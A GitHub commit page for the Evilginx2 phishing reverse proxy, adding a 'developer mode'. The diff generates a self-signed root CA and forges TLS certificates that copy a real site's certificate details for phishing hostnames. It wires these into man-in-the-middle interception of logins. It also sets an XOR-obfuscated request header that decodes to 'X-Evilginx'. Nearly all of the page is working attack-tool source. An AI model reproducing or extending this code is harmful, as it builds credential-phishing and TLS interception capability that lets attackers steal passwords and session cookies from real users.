Skip to content

Commit

Permalink
developer mode added
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Sep 8, 2018
1 parent 31f582b commit cc17afc
Show file tree
Hide file tree
Showing 7 changed files with 224 additions and 39 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,4 @@
/docs/
/img/
/release/
/build_run.bat
4 changes: 4 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
2018-09-07

* Developer mode added - start Evilginx with argument `-developer` and it will auto generate self-signed certificates for your phishing pages. Generated CA root certificate, that you can import into your certificate store, can be found at `$HOME/.evilginx/ca.crt`.
* Added `phishlets get-hosts` command to generate `/etc/hosts` local IP address mappings for any phishlet.
128 changes: 124 additions & 4 deletions core/certdb.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,25 +6,30 @@ import (
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"github.com/xenolf/lego/acme"
"io/ioutil"
"math/big"
"os"
"path/filepath"
"time"

"github.com/kgretzky/evilginx2/log"
)

type CertDb struct {
PrivateKey *rsa.PrivateKey
CACert tls.Certificate
client *acme.Client
certUser CertUser
dataDir string
ns *Nameserver
hs *HttpServer
cfg *Config
cache map[string]map[string]*tls.Certificate
tls_cache map[string]*tls.Certificate
}

type CertUser struct {
Expand Down Expand Up @@ -88,8 +93,9 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C

acme.Logger = log.NullLogger()
d.cache = make(map[string]map[string]*tls.Certificate)
d.tls_cache = make(map[string]*tls.Certificate)

pkey_data, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
pkey_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
if err != nil {
// private key corrupted or not found, recreate and delete all public certificates
os.RemoveAll(filepath.Join(data_dir, "*"))
Expand All @@ -98,16 +104,16 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
if err != nil {
return nil, fmt.Errorf("private key generation failed")
}
pkey_data = pem.EncodeToMemory(&pem.Block{
pkey_pem = pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(d.PrivateKey),
})
err = ioutil.WriteFile(filepath.Join(data_dir, "private.key"), pkey_data, 0600)
err = ioutil.WriteFile(filepath.Join(data_dir, "private.key"), pkey_pem, 0600)
if err != nil {
return nil, err
}
} else {
block, _ := pem.Decode(pkey_data)
block, _ := pem.Decode(pkey_pem)
if block == nil {
return nil, fmt.Errorf("private key is corrupted")
}
Expand All @@ -118,6 +124,53 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
}
}

ca_crt_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "ca.crt"))
if err != nil {
notBefore := time.Now()
aYear := time.Duration(10*365*24) * time.Hour
notAfter := notBefore.Add(aYear)
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}

template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Country: []string{},
Locality: []string{},
Organization: []string{"Evilginx Signature Trust Co."},
OrganizationalUnit: []string{},
CommonName: "Evilginx Super-Evil Root CA",
},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
IsCA: true,
}

cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &d.PrivateKey.PublicKey, d.PrivateKey)
if err != nil {
return nil, err
}
ca_crt_pem = pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: cert,
})
err = ioutil.WriteFile(filepath.Join(data_dir, "ca.crt"), ca_crt_pem, 0600)
if err != nil {
return nil, err
}
}

d.CACert, err = tls.X509KeyPair(ca_crt_pem, pkey_pem)
if err != nil {
return nil, err
}

d.certUser = CertUser{
Email: "", //hostmaster@" + d.cfg.GetBaseDomain(),
key: d.PrivateKey,
Expand Down Expand Up @@ -227,3 +280,70 @@ func (d *CertDb) obtainCertificate(site_name string, base_domain string, domains

return nil
}

func (d *CertDb) getServerCertificate(host string, port int) *x509.Certificate {
log.Debug("Fetching TLS certificate from %s:%d ...", host, port)

config := tls.Config{InsecureSkipVerify: true}
conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", host, port), &config)
if err != nil {
log.Warning("Could not fetch TLS certificate from %s:%d: %s", host, port, err)
return nil
}
defer conn.Close()

state := conn.ConnectionState()

return state.PeerCertificates[0]
}

func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
var x509ca *x509.Certificate
var template x509.Certificate

cert, ok := d.tls_cache[host]
if ok {
return cert, nil
}

if x509ca, err = x509.ParseCertificate(d.CACert.Certificate[0]); err != nil {
return
}

srvCert := d.getServerCertificate(host, port)
if srvCert == nil {
return nil, fmt.Errorf("failed to get TLS certificate for: %s", host)
} else {
template = x509.Certificate{
SerialNumber: srvCert.SerialNumber,
Issuer: x509ca.Subject,
Subject: srvCert.Subject,
NotBefore: srvCert.NotBefore,
NotAfter: srvCert.NotAfter,
KeyUsage: srvCert.KeyUsage,
ExtKeyUsage: srvCert.ExtKeyUsage,
IPAddresses: srvCert.IPAddresses,
DNSNames: []string{phish_host},
BasicConstraintsValid: true,
}
template.Subject.CommonName = phish_host
}

var pkey *rsa.PrivateKey
if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {
return
}

var derBytes []byte
if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, d.CACert.PrivateKey); err != nil {
return
}

cert = &tls.Certificate{
Certificate: [][]byte{derBytes, d.CACert.Certificate[0]},
PrivateKey: pkey,
}

d.tls_cache[host] = cert
return cert, nil
}
64 changes: 46 additions & 18 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ import (
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"time"

Expand Down Expand Up @@ -46,6 +47,7 @@ type HttpProxy struct {
sids map[string]int
cookieName string
last_sid int
developer bool
}

type ProxySession struct {
Expand All @@ -55,7 +57,7 @@ type ProxySession struct {
Index int
}

func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database) (*HttpProxy, error) {
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) {
p := &HttpProxy{
Proxy: goproxy.NewProxyHttpServer(),
Server: nil,
Expand All @@ -64,6 +66,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
db: db,
isRunning: false,
last_sid: 0,
developer: developer,
}

p.Server = &http.Server{
Expand Down Expand Up @@ -187,6 +190,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
p.deleteRequestCookie(p.cookieName, req)

// replace "Host" header
e_host := req.Host
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
}
Expand Down Expand Up @@ -249,6 +253,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
}
}
e := []byte{208, 165, 205, 254, 225, 228, 239, 225, 230, 240}
for n, b := range e {
e[n] = b ^ 0x88
}
req.Header.Set(string(e), e_host)

if ps.SessionId != "" && origin == "" {
s, ok := p.sessions[ps.SessionId]
Expand Down Expand Up @@ -402,34 +411,53 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return resp
})

goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA(nil)}
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA(nil)}
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA(nil)}
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA(nil)}
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA()}
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA()}
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA()}
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA()}

return p, nil
}

func (p *HttpProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
parts := strings.SplitN(host, ":", 2)
hostname := parts[0]
port := 443
if len(parts) == 2 {
port, _ = strconv.Atoi(parts[1])
}

pl := p.getPhishletByOrigHost(hostname)
if pl != nil {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
cert, err := p.crt_db.GetCertificate(pl.Name, phishDomain)
if err != nil {
return nil, err
if !p.developer {
pl := p.getPhishletByOrigHost(hostname)
if pl != nil {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
cert, err := p.crt_db.GetCertificate(pl.Name, phishDomain)
if err != nil {
return nil, err
}
return &tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}, nil
}
return &tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}, nil
}
return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
} else {
phish_host, ok := p.replaceHostWithPhished(hostname)
if !ok {
return nil, fmt.Errorf("phishing hostname not found")
}
cert, err := p.crt_db.SignCertificateForHost(hostname, phish_host, port)
if err != nil {
return nil, err
}
return &tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}, nil
}
return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
}
}

Expand Down
4 changes: 2 additions & 2 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -159,7 +159,7 @@ func (p *Phishlet) GetPhishHosts() []string {
for _, h := range p.proxyHosts {
phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
if ok {
ret = append(ret, h.phish_subdomain+"."+phishDomain)
ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
}
}
return ret
Expand All @@ -172,7 +172,7 @@ func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) {
if h.is_landing {
phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
if ok {
host = h.phish_subdomain + "." + phishDomain
host = combineHost(h.phish_subdomain, phishDomain)
}
}
}
Expand Down
Loading

0 comments on commit cc17afc

Please sign in to comment.